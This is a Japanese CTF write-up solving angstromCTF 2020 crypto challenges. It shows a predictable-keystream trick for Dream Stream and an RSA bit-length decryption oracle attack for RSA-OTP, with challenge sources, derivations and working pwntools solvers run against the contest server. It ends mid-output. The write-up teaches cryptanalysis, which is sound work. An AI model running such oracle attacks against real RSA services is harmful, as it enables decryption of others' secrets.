原理がわからなくても、chall.pyをlocalで動かして挙動を確認し、key,kにどんな値が入ってくるかを観察すれば解けたかもしれない。(localで用意したflagのbinと出力が同じである、常にk=0になっている、などが確認できたため。)edの出力まではlocalで挙動を確認していたが、その結果kretがどうなっているかは確認していなかった。残念。

さらに、下の Dream Stream で別解、というか想定解を見たので記録。

[Crypto] Dream Stream

I made my stream cipher better.

nc crypto.2020.chall.actf.co 20602

chall.pyが配布されます。

from __future__ import print_function
import random,os,sys,binascii
from Crypto.Util.number import isPrime
from decimal import *
try:
    input = raw_input
except:
    pass
getcontext().prec = 3000
def keystream(key):
    random.seed(int(os.environ["seed"]))
    p = random.randint(3,30)
    while not isPrime(p):
        p = random.randint(3,30)
    e = random.randint(50,600)
    while 1:
        d = random.randint(10,100)
        ret = Decimal('0.'+str(key ** e).split('.')[-1])
        for i in range(d):
            ret*=2
        yield int((ret//1)%2)
        e+=p
try:
    a = int(input("a: "))
    b = int(input("b: "))
    c = int(input("c: "))
    # added some more weak key protections
    if b*b < 4*a*c or [a,b,c].count(0) or Decimal(b*b-4*a*c).sqrt().to_integral_value()**2==b*b-4*a*c or abs(a)>400 or abs(b)>500 or abs(c)>500:
        raise Exception()
    key = (Decimal(b*b-4*a*c).sqrt() - Decimal(b))/Decimal(a*2)
    if 4*key*key<5 or abs(key-key.to_integral_value())<0.05:
        raise Exception()
except:
    print("bad key")
else:
    flag = binascii.hexlify(os.environ["flag"].encode())
    flag = bin(int(flag,16))[2:].zfill(len(flag)*4)
    ret = ""
    k = keystream(key)
    for i in flag:
        ret += str(next(k)^int(i))
    print(ret)

Confused Streamingの続きっぽい。接続してみると

$ nc crypto.2020.chall.actf.co 20602
a: 1
b: 2
c: 3
bad key

出てくる文言も同じ様子。競技期間中は、「まずはConfused Streamingだな…」というメモを最後に終わっている…。

ここから復習

Confused Streamingからの変更点をソースから追ってみます。
まずは、a,b,cの入力値の評価について、Confusedの方では

remove those pesky imaginary numbers, rationals, zeroes, integers, big numbers, etc

との注意書きがありました。Dreamのほうは

added some more weak key protections

とあります。変更されている評価は、Exception発生の条件として

abs(a)>1000 or abs(b)>1000 or abs(c)>1000

から

abs(a)>400 or abs(b)>500 or abs(c)>500

に。その後、keyを生成してから

if 4*key*key<5 or abs(key-key.to_integral_value())<0.05:
        raise Exception()

の評価が追加になっています。

この

4k^{2} \geqq 5の条件が加わったので、key\frac{\sqrt{5}}{2}より大きい必要があり、先程 Confused Stream で使った手が使えません。

ここでwriteupを探してみましたが、CTF Timeにも載っていません…。問題自体Tasksにもなかったので、無かったことになっている??
唯一、Discordに公式writeupがあがっていました。

Confused Streaming/Dream Stream: Note that a, b, and c are being used as coefficients that are plugged into the quadratic formula to get the key. The bits of the keystream are taken from random bits in the fractional part of key^n, where n increases by an odd number. Plugging in a = 1, b = -2, c = -2 gives the key k = 1+sqrt(3). This has the nice property that k^n gets closer and closer to an integer as n increases. In fact, it flip-flops between being just over an integer and just under an integer (proof below). So, the bits of the keystream alternate between 1 and 0. Thus, we XOR the output with 01010101... or 10101010... to get the flag.

Proof of the nice property: Consider (1+sqrt(3))^n + (1-sqrt(3))^n. If we expand both of the binomials, the terms with sqrt(3) all cancel out. So, this expression approaches an integer. However, note that -1 < 1-sqrt(3) < 0, so (1-sqrt(3))^n approaches 0, alternating between just greater than 0 and just less than 0. Therefore, (1+sqrt(3))^n alternates between being just greater than an integer and just less than an integer.

edit: it has come to my attention that 1,-2,-2 may produce an error. In that case, any other key with the property described above works; you just need to find one that does (there are a lot that work).

Unintended solution for Confused Streaming: make the key between 0 and 1 so that it approaches 0

ぱっとこれを読んだだけではわからなかったので、読み解いていきました。
更に、この解法ではない組み合わせでもflagが取れたので、そちらも。多分こっちでflagが取れたチームのほうが多かったのでは。

  1. 想定解法k=010101...ork=101010...になる組み合わせを使う
  2. k=1になる組み合わせを使う

想定解法k=010101...ork=101010...

今回の制約を数式に表すと

  • b^{2} \geqq 4ac
  • a \neq 0, b \neq 0, c \neq 0
  • \sqrt{b^{2} - 4ac} を整数に丸めたものの2乗 \neq b^{2} - 4ac
  • |a|\leqq 400, |b|\leqq 500, |c|\leqq 500
  • 4key^{2} \geqq 5
  • |keyの小数部分| > 0.05

となっています。keystream関数で返却される値は0,1のどちらかとなっており、

  • eは範囲 50~600 のランダムな整数
  • dは範囲 10~100 のランダムな整数
  • pは 3~30 の範囲のランダムな素数

の時に

ret = \left\{ 0.(key^{e}の小数点以下) \right\} \times 2^{d}

を計算し、retを小数点以下で切り捨てて整数にした値(k)が

  • 奇数なら 1
  • 偶数なら 0

が返却されます。

Confused Streamingでは、|key|を小さくすることで、key^{e}を0に収束させ、dの値が比較的小さいことから \times 2^{d}の影響を小さくし、常にretが正の0に限りなく近い状態、kを0に固定することで解けました。

今回は先程も述べたとおり、4k^{2} \geqq 5の条件が加わったので、key\frac{\sqrt{5}}{2}より大きい必要があり、0に収束させることが出来ません。

ここで先程の公式解法より。唐突ですが、[1, -2, -2][a, b, c]の入力として与えることを考えます。このとき、

 key = \frac{\sqrt{4+8} + 2}{2}\\
\ \ \ \ \ = 1+\sqrt{3}

となります。無理数平方根有理数の加算になっていますが、このような数において以下のような性質があります。

\ \ \ (1+\sqrt{3}) + (1-\sqrt{3}) = 1 + \sqrt{3} + 1 - \sqrt{3} = 2 \\
(1+\sqrt{3})^{2} + (1-\sqrt{3})^{2} = 1 + 2\sqrt{3} + 3  + 1 - 2\sqrt{3} + 3 = 8 \\
(1+\sqrt{3})^{3} + (1-\sqrt{3})^{3} = 16 \\
\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \vdots \\
(1+\sqrt{3})^{n} + (1-\sqrt{3})^{n} = I\ (整数)

平方根の部分がキャンセルされるので、常に整数になります。
更に、-1 \lt 1 - \sqrt{3} \lt 0、すなわち | 1 - \sqrt{3} | \lt 1, 1-\sqrt{3} \lt 0であるため、

(1-\sqrt{3})^{n} \Rightarrow 0\ \ (n \to \infty)

nが増えるにつれて0に収束していきます。更に、後者の条件より

(1-\sqrt{3})^{n+1} = (1-\sqrt{3})^{n} \times (1-\sqrt{3})

で負の数 (1-\sqrt{3})(1-\sqrt{3})^{n} に掛けることになるので、±が逆転します。

以上の条件をまとめると

  • (1+\sqrt{3})^{n} + (1-\sqrt{3})^{n} = I\ (整数)
  • (1-\sqrt{3})^{n} \Rightarrow 0\ \ (n \to \infty)
  • (1-\sqrt{3})^{n+1} の符号は (1-\sqrt{3})^{n} の反対になる

以上のことより、

(1+\sqrt{3})^{n} \Rightarrow I\ (整数)\ \ (n \to \infty)

であり、さらに 整数Iの上下を行き来しながら収束する性質があることがわかります。(I + 0.000000..., I - 0.000000....)
よって、key1+\sqrt{3}の場合、

\left\{ 0.(key^{e}の小数点以下) \right\}

は、eが十分大きく、1ずつ増える時、0.0000000...(0に限りなく近い正の値)と0.9999999....(1に限りなく近い1以下の値)を交互に取りながら01に収束していくことがわかります。
今回、eは1ずつ増えるのではなくp、すなわちランダムな3~30の間の素数ずつ増えますが、pは奇数なため、eは奇数と偶数を交互に繰り返します。このため、やはり 0+ \Delta d1- \Delta d を交互に繰り返すことになります。

更にこのあと、\times 2^{d} が待っています。
0に収束する場合は、eよりdが十分小さい場合はこの 2d は無視できますが、1に収束する方はこの影響を大きく受けるはずです。ぱっと見、dがランダムなため、値が不定になってしまうように見えます。

ここで1に収束する値を、1-\Delta d と置いてみます。

(1-\Delta d) \times 2^{d} =2^{d} - \Delta d \times 2^{d} \\
\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ =2n - \Delta d \times 2^{d}

ここで、\Delta d \times 2^{d} (\to 0) で、0に限りなく近い正の値になるため、上記の式の値は 奇数.99999....となります。
これをint()で少数以下切り捨ての整数にするため、retは必ず奇数になり、1が返ることがわかります。

以上のことより、key有理数平方根で表現され、有理数 - 平方根 (key') が-1 \lt key \lt 0 の範囲に設定できれば、k01010...もしくは10101...の形になり、これと出力をxorすることでflagが求まります。

※残念ながら、2020/4/15現在、サーバーが正常に動いていないようなのでローカルでやることに。環境変数を設定するとlocalでも実行可。

$ export flag="kswd{this_is_local_flag!}"
$ export seed="10"
$ python chall.py 
a: 1
b: -2
c: -2
001111100010011000100010001100010010111000100001001111010011110000100110000010100011110000100110000010100011100100111010001101100011010000111001000010100011001100111001001101000011001000101000
from Crypto.Util.number import *

stream = '001111100010011000100010001100010010111000100001001111010011110000100110000010100011110000100110000010100011100100111010001101100011010000111001000010100011001100111001001101000011001000101000'

xor1 = ''
xor2 = ''
i = 0
for b in stream:
    xor1 += str(int(b) ^ (i%2))
    xor2 += str(int(b) ^ ((i+1)%2))
    i += 1

print(long_to_bytes(int(xor1,2)))
print(long_to_bytes(int(xor2,2)))

実行結果

$ python solve.py 
b'kswd{this_is_local_flag}'
b'\x94\x8c\x88\x9b\x84\x8b\x97\x96\x8c\xa0\x96\x8c\xa0\x93\x90\x9c\x9e\x93\xa0\x99\x93\x9e\x98\x82'

\(*ˊᗜˋ*)/
これをサーバーに対して実行できれば、flagが得られたはず。

k=1になる組み合わせを使う解法

今度は入力値[1, -3, 1]としてみます。このとき、

 key = \frac{\sqrt{9-4} + 3}{2} \\
\ \ \ \ \ = \frac{3}{2} + \frac{\sqrt{5}}{2} \\
\ \ \ \ \ \fallingdotseq 2.6

上記と同様、おもむろに (\frac{3}{2} + \frac{\sqrt{5}}{2})^{n} + (\frac{3}{2} - \frac{\sqrt{5}}{2})^{n} を考えてみます。

\frac{3}{2} - \frac{\sqrt{5}}{2} \fallingdotseq 0.38

のため、今度は 0 \lt \frac{3}{2} - \frac{\sqrt{5}}{2} \lt 1 です。

前項の想定解のとき見た性質より、

  • (\frac{3}{2} + \frac{\sqrt{5}}{2})^{n} + (\frac{3}{2} - \frac{\sqrt{5}}{2})^{n} = I\ (整数)
  • (\frac{3}{2} - \frac{\sqrt{5}}{2}) \Rightarrow 0\ \ (n \to \infty)
  • (\frac{3}{2} - \frac{\sqrt{5}}{2})^{n+1} の符号は (\frac{3}{2} - \frac{\sqrt{5}}{2})^{n} と同じ

以上より、

(\frac{3}{2} + \frac{\sqrt{5}}{2})^{n} = I - ([tex:(\frac{3}{2} - \frac{\sqrt{5}}{2})^{n} \\
\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \Rightarrow I - 0.0000....\ \ (n \to \infty)

と、整数Iよりわずかに小さい値に収束します。
ここからは先程の想定解法のときと同じく、\times 2^{d} して小数部分を切り捨てて整数にすると、この結果は必ず奇数になるため、kは必ず1が返ります。

よって、key有理数平方根で表現され、有理数 - 平方根 (key') が 0 \lt key' \lt 1 の範囲のに設定できれば、k1に固定され、これと出力をxorすることでflagが求まります。

$ export flag="kswd{this_is_local_flag!}"
$ export seed="10"
$ python chall.py 
a: 1
b: -3
c: 1
100101001000110010001000100110111000010010001011100101111001011010001100101000001001011010001100101000001001001110010000100111001001111010010011101000001001100110010011100111101001100010000010
from Crypto.Util.number import *

stream = '100101001000110010001000100110111000010010001011100101111001011010001100101000001001011010001100101000001001001110010000100111001001111010010011101000001001100110010011100111101001100010000010'

xor = ''
for b in stream:
    xor += str(int(b) ^ 1)

print(xor)
print(long_to_bytes(int(xor,2)))

実行結果

$ python solve.py 
011010110111001101110111011001000111101101110100011010000110100101110011010111110110100101110011010111110110110001101111011000110110000101101100010111110110011001101100011000010110011101111101
b'kswd{this_is_local_flag}'

\(*ˊᗜˋ*)/
想定解法じゃないけど、こっちで解けたチームのほうが多そう。
競プロ勢は、日々こういう問題に取り組んでるのかな。この手の問題は常識レベル??

今回の問題は、別解に使える入力を弾きそびれたのかな?何れにせよ、普段数式見たり考えたりすることないので、とても面白かったです。
実際競技中に解こうと思うと、chall.pyがせっかく配布されているので、ローカルで動かしながら挙動を観察、kがどのような値をとっているかを確認すればよかったかなぁと思います。

[Crypto] RSA-OTP

RSA is kinda bad but I strengthened it with the unbreakable one time pad!

nc crypto.2020.chall.actf.co 20600

Hint

What information does the server tell you?

今回も chall.pyが配布されます。

from Crypto.Util.number import bytes_to_long
from Crypto.Random.random import getrandbits # cryptographically secure random get pranked
from Crypto.PublicKey import RSA
from secret import d, flag
# 1024-bit rsa is unbreakable good luck
n = 136018504103450744973226909842302068548152091075992057924542109508619184755376768234431340139221594830546350990111376831021784447802637892581966979028826938086172778174904402131356050027973054268478615792292786398076726225353285978936466029682788745325588134172850614459269636474769858467022326624710771957129
e = 0x10001
key = RSA.construct((n,e,d))

f = bytes_to_long(bytes(flag,'utf-8'))
print("Encrypted flag:")
print(key.encrypt(f,0)[0])

def otp(m):
    # perfect secrecy ahahahaha
    out = ""
    for i in bin(m)[2:]:
        out+=str(int(i)^getrandbits(1))
    return out

while 1:
    try:
        i = int(input("Enter message to sign: "))
        assert(0 < i < n)
        print("signed message (encrypted with unbreakable otp):")
        print(otp(key.decrypt(i)))
    except:
        print("bad input, exiting")
        break

とりあえず n素因数分解しようとしてみたが、msieveでは桁が大きすぎて扱えないエラーが。factordb.comでも全く分解できませんでした。

指定のホストに接続してみると、flagをencryptしたものを表示してくれます。

$ nc crypto.2020.chall.actf.co 20600
Encrypted flag:
17482644844951175640843255713372869422739097498066773957636359990466096121278949693816080016671592558403643716793132479255285512907247513385850323834210899918531077167485767118313722022095603863840851451191536627814100144146010392752308431038754246815068245448456643024387011488032896209253644172833489422733

そのあと、Enter message to sign: で整数を入力すると、これを key.decrypt() -> otp() の順で処理した値を表示してくれます。

perfect securityらしいotp(m)はただのxorなので、getrandbits(1)が何かわかれば再度xorしてあげるだけで逆算できるはず…なのですが、getrandbits(1)が文字通りランダムなのでわかりません。

とりあえず、教えてもらったEncrypted flagをそのまま突っ込んでみます。

$ nc crypto.2020.chall.actf.co 20600
Encrypted flag:
17482644844951175640843255713372869422739097498066773957636359990466096121278949693816080016671592558403643716793132479255285512907247513385850323834210899918531077167485767118313722022095603863840851451191536627814100144146010392752308431038754246815068245448456643024387011488032896209253644172833489422733
Enter message to sign: 17482644844951175640843255713372869422739097498066773957636359990466096121278949693816080016671592558403643716793132479255285512907247513385850323834210899918531077167485767118313722022095603863840851451191536627814100144146010392752308431038754246815068245448456643024387011488032896209253644172833489422733
signed message (encrypted with unbreakable otp):
0001000100011111100101000110111000011101010000001011000011110111100101111011110001000011111000011010101011010010001110100101010111110111110000100110101110010001001100100001010111111101110001010101011111101011011110001111100101110000011010011000110010110011001000111101011110101001100101000000110011010100100100111100010001110011010111111111100111010110010011101000111001101011001101000111000011100100010100001101110000011010011111000110111000110101101101111011011111000011000010100001010000000111010101110101010101111000010111100010101111011011001011101001001

flagをdecryptした結果…をランダムなbitsでxorした結果が得られました。でもやっぱりgetrandbits(1)がわからないので、これを復元できる気がしません…。もちろん、突っ込むたびに返ってくるbit列が変わってしまいます。

このあと、getrandbits(1)の出目予想が出来ないかなど色々試してみましたが、どれもうまく刺さりませんでした。

与えられている情報は、ソースよりne、そして暗号化されたflagcneがあれば公開鍵を構築できるので、公開鍵も与えられていることになります。あとは、好きな暗号文を与えると、復号して更にランダムなbit列でxorしたものも得られます。
一体これらの情報で、どうやったら平文が得られるんだろう🤔

ここから復習

他のwriteupを読んだところ、今回の問題ではOracle攻撃というのが使える様子。Oracle攻撃といえばPadding Oracleが有名です。Oracle攻撃の概要はこちらがわかりやすかったです。

用語解説:オラクル攻撃 - Qiita

writeupは、下記の4つが見つかりました。

実際のところ全部の解法を読んで理解を試みましたが、ソルバがあるけど解説がないもの、解説があるけどソルバがないもの、解説とソルバはあるけどflagが最後まで取得できなかったもの、という感じで結構厳しい。

最終的には、4つ目の解法がなんとか理解できそうだったので、この解法でやってみます。また、動くソルバを書いた&途中まで理解したので、公式解法についても中途半端ですが残しておきます。

  • LSB Oracle Attack っぽい解き方
  • 公式解法っぽい解き方(未完成)

LSB Oracle Attack っぽい解き方

ヒントの What information does the server tell you? というやつ。そりゃ当たり前だわ、サーバーが返す値を見ないことには始まらないわ、と思って無視してたんですけど、さすがヒント、これが大事だったようです。

結局、otpの処理を施して返却される値は、otp処理でランダムなビット配列とxorされてしまっており、元に戻すことは不可能です。他に得られる情報で、xorの結果、変わらない情報が「長さ」。突っ込んだmessageをdecryptした結果の長さがわかります。
先程試してみた、encryptoされたflagを突っ込んでdecrypt,otp処理をした結果の出力では、559bitsが返ってきています。otp処理では長さは変わらないはずなので、flagの平文mのbit長は559ビットということになります。

以下、まずは一般的な LSB Oracle Attack について考えてみます。
ほかの方のwriteup読んでも何故そうなるかさっぱりわからなかったのですが、こちらのサイトの解説のおかげで、まずは LSB Oracle Attack について理解することが出来ました。とても丁寧でわかりやすくてありがたい。

LSB Decryption Oracle Attack - ごちうさ民の覚え書き

以下、上記のブログの内容ほぼそのままなので、元の記事を見ていただくのが良いかと。途中から今回の問題に当てはめるために、こちらにも写経させていただきます。

RSA暗号の公式をおさらいすると、cが暗号文、mが平文の場合、

c=m^{e} \bmod n (c = pow(m, e, n)),

m=c^{d} \bmod n (m = pow(c, d, n)) (※dはinverse, eの逆元)

また、decryptした結果について得られる情報があることから、このEnter message to sign:に値を突っ込んで返してもらう機能をOracleと呼ぶことにします。

LSB Oracle Attack では、Oracleを関数f(x)とすると、

f(x)=dec(x) \bmod 2

と、復号した結果が偶数か奇数か、すなわち最終ビットが0か1かがわかる場合に有効です。ここで、

a=2^{e} \bmod n

とすると、

f(a^{i}c) = dec(a^{i}c) \bmod 2\\
\ \ \ \ \ \ \ \ \  = \left\{ \left ((a^{i}c) \bmod n \right)^{d} \bmod n \right\} \bmod 2 \\
\ \ \ \ \ \ \ \ \  = \left\{ \left ((a^{id} \bmod n)(c^{d} \bmod n) \right) \bmod n \right\} \bmod 2 \\
\ \ \ \ \ \ \ \ \  = ((a^{id}m) \bmod n) \bmod 2\\
\ \ \ \ \ \ \ \ \  = ((2^{ied}m) \bmod n) \bmod 2\ \ \ \ (a=2^{e} \bmod n より)\\
\ \ \ \ \ \ \ \ \  = \left\{ \left((2^{ed})^{i} \bmod n \right) \left( m \bmod n \right) \bmod n \right\} \bmod 2\\
\ \ \ \ \ \ \ \ \  = (2^{i}m \bmod n) \bmod 2

と展開できます。また、RSA暗号の性質より

  • nは奇数 (大きい素数(≠2)、p, qの積であるため)
  • 0 \leqq m \lt n\ \ \ (mはnより小さい正の数)
  • 0 \leqq m \lt 2(n-1)\ \ \ (n>2)

最後の条件は、n>2よりn \lt 2(n-1)が成り立つため、 m \lt n \lt 2(n-1) から説明できる。

ここで、i=1の時を考えてみます。

f(ac) = (2m \bmod n) \bmod 2

すなわち、2m % nが偶数か奇数か。ここで、先程のmのレンジの制約より、 2m \div nの商は01になります。また、2mは偶数、nは奇数のため、2m % n

  • 偶数の場合:
    • 商は0
    • 2m \leqq n
    • 2m \bmod n = 2m
  • 奇数の場合:
    • 商は1
    • 2m > n
    • 2m \bmod n = 2m - n

であることがわかります。

次に、i=2の時を考えてみます。

f(a^{i}c) = (2^{2}m \bmod n) \bmod 2\\
\ \ \ \ \ \ \ \ \ = (4m \bmod n) \bmod 2

i=1のときの結果を利用して、下記のように展開できます。

f(ac) = 1 かつ f(a^{2}c) = 1 のとき

f(a^{2}c) = (2(2m \bmod n) \bmod n) \bmod 2\\
\ \ \ \ \ \ \ \ \ \ = (2(2m-n) \bmod n) \bmod 2\ \ \ \ (i=1 のときの 2m /bmod n = 2m - n より)\\
\ \ \ \ \ \ \ \ \ \ = (4m - 2n - n) \bmod 2\ \ \ \ (今回も商が1になるため)\\
\ \ \ \ \ \ \ \ \ \ = (4m - 3n) \bmod 2\ \ \ \ (=1)

このように、他のケースについても展開して考えると

  • f(ac)=1, f(a2c)=1の場合:
    • 3/4 n \lt m \leq n
  • f(ac)=1, f(a2c)=0の場合:
    • 1/2 n \lt m \leq 3/4 n
  • f(ac)=0, f(a2c)=1の場合:
    • 1/4 n \lt m \leq 1/2 n
  • f(ac)=0, f(a2c)=0の場合:
    • 0 \lt m \leq 1/4 n

i=3以降も上記を繰り返すことにより、平文mの範囲を2文探索の要領で狭めていき、最終的に上限と下限の差分が1以下になったらmが求まります。

今回の問題では、Oraclef(x)f(x) = dec(x) % 2 ではなく f(x) = dec(x).bit_length です。このとき、

f(a^{i}c) = (2^{i}m \bmod n)\ の\ bit長

であり、mのレンジに関する性質は変わりません。

ここで、i=1の時を考えてみます。

f(ac) = (2m \bmod n)\ の\ bit長

今回もmのレンジの制約より、 2m \div nの商は01になります。また、2mは偶数、nは奇数のため、2m % nのbit長u

  • mのbit長より大きい(+1)場合:
    • 商は0
    • 2m \leqq n
    • 2m \bmod n = 2m
  • それ以外の場合:
    • 商は1
    • 2m > n
    • 2m \bmod n = 2m - n

であることがわかります。i=2以降は、先程の LSB Oracle Attack 同様の流れになるので、同じようにmのレンジを狭めていって特定することが出来ます。

from Crypto.Util.number import long_to_bytes
from pwn import *

n = 136018504103450744973226909842302068548152091075992057924542109508619184755376768234431340139221594830546350990111376831021784447802637892581966979028826938086172778174904402131356050027973054268478615792292786398076726225353285978936466029682788745325588134172850614459269636474769858467022326624710771957129
e = 0x10001

host = "crypto.2020.chall.actf.co"
port = 20600


def get_plain_bit_length(c):
    r.sendline(str(c).encode())
    res = r.recv().split(b'\n')[1]
    return len(res)


r = remote(host, port)
c = int(r.recv().split(b'\n')[1])
m_bit_len = get_plain_bit_length(c)

lower_m = 0
upper_m = n
u_prev = m_bit_len

while upper_m - lower_m >= 1:
    cK = (c * pow(2, e, n)) % n
    u = get_plain_bit_length(cK)

    if u == u_prev + 1:
        upper_m = (upper_m + lower_m) // 2
    else:
        lower_m = (upper_m + lower_m) // 2
    u_prev = u
    c = cK
    
    print('----------')
    print(long_to_bytes(lower_m))
    print(long_to_bytes(upper_m))

実行結果

$ python solve.py
[x] Opening connection to crypto.2020.chall.actf.co on port 20600
[x] Opening connection to crypto.2020.chall.actf.co on port 20600: Trying 52.207.14.64
[+] Opening connection to crypto.2020.chall.actf.co on port 20600: Done
----------
b'\x00'
b'`\xd90\x10\xef%5_\x9a\x1d $\x93d\x95\xd4\xe8F\x15(\\%nMn\xd1R\xb8\xc1\xd7b\xab\x9f\xc4\xeb\xd6\x1b\x82\x15\r\xc3s\x07\xcb\xfb\xc5\x85EA!0>\xeb\xf5\xb5\x98\xb7\xc9\xfdP\xa3\xafK+\x15$\xea\xb78\x059\xc8\xcbyNo\xc7\x0c\xc3\\\x11\xaa\x94\x91p!7\xbdk:vD\xdc\x19\x1b\x97\xafyZ\x90\xa39\x7fV\xb4\x11S\xf5+XM\x92\xd3\x17\xf4F.?\x1f\xe6\xeco\x95\x0e\x13r\xae\xc4'
----------
b'\x00'
b'0l\x98\x08w\x92\x9a\xaf\xcd\x0e\x90\x12I\xb2J\xeat#\n\x94.\x12\xb7&\xb7h\xa9\\`\xeb\xb1U\xcf\xe2u\xeb\r\xc1\n\x86\xe1\xb9\x83\xe5\xfd\xe2\xc2\xa2\xa0\x90\x98\x1fu\xfa\xda\xcc[\xe4\xfe\xa8Q\xd7\xa5\x95\x8a\x92u[\x9c\x02\x9c\xe4e\xbc\xa77\xe3\x86a\xae\x08\xd5JH\xb8\x10\x9b\xde\xb5\x9d;"n\x0c\x8d\xcb\xd7\xbc\xadHQ\x9c\xbf\xabZ\x08\xa9\xfa\x95\xac&\xc9i\x8b\xfa#\x17\x1f\x8f\xf3v7\xca\x87\t\xb9Wb'

...(中略)...

----------
b'actf{this_is_not_what_i_meant_when_i_told_you_to_use_rsa_with_padding9'
b'actf{this_is_not_what_i_meant_when_i_told_you_to_use_rsa_with_padding:'
----------
b'actf{this_is_not_what_i_meant_when_i_told_you_to_use_rsa_with_padding9'
b'actf{this_is_not_what_i_meant_when_i_told_you_to_use_rsa_with_padding9'
[*] Closed connection to crypto.2020.chall.actf.co port 20600

3~4分回すと、flagが出てきました٩(๑❛ᴗ❛๑)尸
最後閉じてないけど!実際は最後の9->}ですが、コレくらいの推測なら解けたと言っても良いはず…。
下記公式解法などの解き方より収束が遅く、ソルバがうまく動作しているのか不安になって諦めかけたりしましたが、自分で納得しながら書いたソルバでflagがゲットできて良かった!

公式解法っぽい解き方(未完成)

あるk

K=k^{e} \bmod n

とします。このとき、Kkの暗号文になります。このKとflagの暗号文cをかけると、

cK \equiv m^{e}k^{e} \equiv (mk)^{e} \bmod n

となり、mkの暗号文が得られることになります。
このとき、mkのbit長がnのbit長以下の場合、cKを突っ込んで得られる応答から、mkのbit長がわかることになります。

ここで、mkのbit長をuと置くと、

2^{u-1} \leqq mk \leqq 2^{u} - 1

mkのレンジを表すことが出来ます。
先程の試行より、mのbit長は559とわかっているので、

2^{558} \leqq m \leqq 2^{559} - 1

ということがわかります。

したがって、m

\frac{2^{u-1}}{k} \leqq m \leqq frac{2^{u} - 1}{k}

の範囲であることがわかります。

これを、

k=frac{2^{i} - 1}{m}

と仮定し、iを 559からnのbit長まで増やしていき、mの範囲を絞っていきます。

…が、この方法でmのレンジを絞っていくと、flagが途中まで判明します。が、まだ最後の数バイトが不明のまま残ってしまいます…。
公式ソルバでは、この後"step2"として、更にmの下位の方のバイトを求めています。

下記は、公式のソルバを上記の説明に合わせて書き換え、動くようにしたもの。残念ながら、step2についてはまだ理解が出来ていないです。多分巨大な数shiftを挟むことでmが収束するレンジを広げ、小さいbitまで絞り込めるようにしていると思うのだけど…。

from Crypto.Util.number import long_to_bytes
from Crypto.PublicKey import RSA
from pwn import *

# refer to https://pastebin.com/P8L7RTDu

n = 136018504103450744973226909842302068548152091075992057924542109508619184755376768234431340139221594830546350990111376831021784447802637892581966979028826938086172778174904402131356050027973054268478615792292786398076726225353285978936466029682788745325588134172850614459269636474769858467022326624710771957129
e = 0x10001
pubkey = RSA.construct((n,e))

host = "crypto.2020.chall.actf.co"
port = 20600


def get_plain_bit_length(c):
    r.sendline(str(c).encode())
    res = r.recv().split(b'\n')[1]
    return len(res)


r = remote(host, port)
c = int(r.recv().split(b'\n')[1])
c_bit_len = get_plain_bit_length(c)

u = c_bit_len
lower_m = 2**(u-1)
upper_m = 2**u - 1
dd = upper_m - lower_m

mid_m = (upper_m + lower_m) // 2

for num in range(u+1, n.bit_length()):
    k = (2**num - 1) // mid_m 
    cK = (c * pow(k, e, n)) % n
    u = get_plain_bit_length(cK)
    
    upper_m = min(upper_m, (2**u-1)//k)
    lower_m = max(lower_m, (2**(u-1)//k))
    
    if upper_m - lower_m < dd:
        dd = upper_m - lower_m
        mid_m = (upper_m + lower_m) // 2
        
    print('----------')
    print(long_to_bytes(lower_m))
    print(long_to_bytes(upper_m))

print('----------')
print('u: ' + str(u))
print('k: ' + str(k))
print('m: ' + str(mid_m))
print(long_to_bytes(lower_m))
print(long_to_bytes(upper_m))

# ここから更に正確な値を求めていく

i = 4*pow(10,40)  # 適当な大きな数
shift = n*i
for num in range(n.bit_length()):
    k = (2**num - 1 + shift) // mid_m
    cK = (c * pow(k, e, n)) % n
    u = get_plain_bit_length(cK)
    
    if u == n.bit_length():
        # we didn't wrap around
        upper_m = min(upper_m, (shift-1)//k)
        lower_m = max(lower_m, (2**(u-1) + shift - n)//k)
    else:
        upper_m = min(upper_m, (shift + 2**u - 1)//k)
        lower_m = max(lower_m, (2**(u-1)+shift)//k)
        
    if upper_m - lower_m < dd:
        dd = upper_m - lower_m
        mid_m = (upper_m + lower_m) // 2
    if dd <= 1:
        break
    print('----------')
    print(long_to_bytes(lower_m))
    print(long_to_bytes(upper_m))

print('----------')
print('u: ' + str(u))
print('k: ' + str(k))
print('m: ' + str(mid_m))
print(long_to_bytes(lower_m))
print(long_to_bytes(upper_m))

実行結果

$ python solve.py 
[+] Opening connection to crypto.2020.chall.actf.co on port 20600: Done
----------
b'@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
b'\x7f\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'
----------
b'@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
b'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
----------

...{中略1}...

----------
u: 1024
k: 62606626634666857169962576496954328573681192124427072668906299463448781600005761352512899051732400786172667561506921142654444651242031108630
m: 1435705157341034722972040166343948017765222376167759753619834511904754169570506546261909734839045859564975508867904779044318503483547332182165204288687845169555358931060
b'actf{this_is_not_what_i_meant_when_i_told_you_to_use_rsa_q\x1ab7\xb2\x08gO\x0fu\xcd#\xe1'
b'actf{this_is_not_what_i_meant_when_i_told_you_to_use_rsa_x\xa0\xed3\xc0\xb3%\x82w\xa94\x8d\x08'

...{中略2}...

----------
b'actf{this_is_not_what_i_meant_when_i_told_you_to_use_rsa_v\xe7\xc7\xcbx\xd8\x82y!\xd4\xa7\x8e\x99'
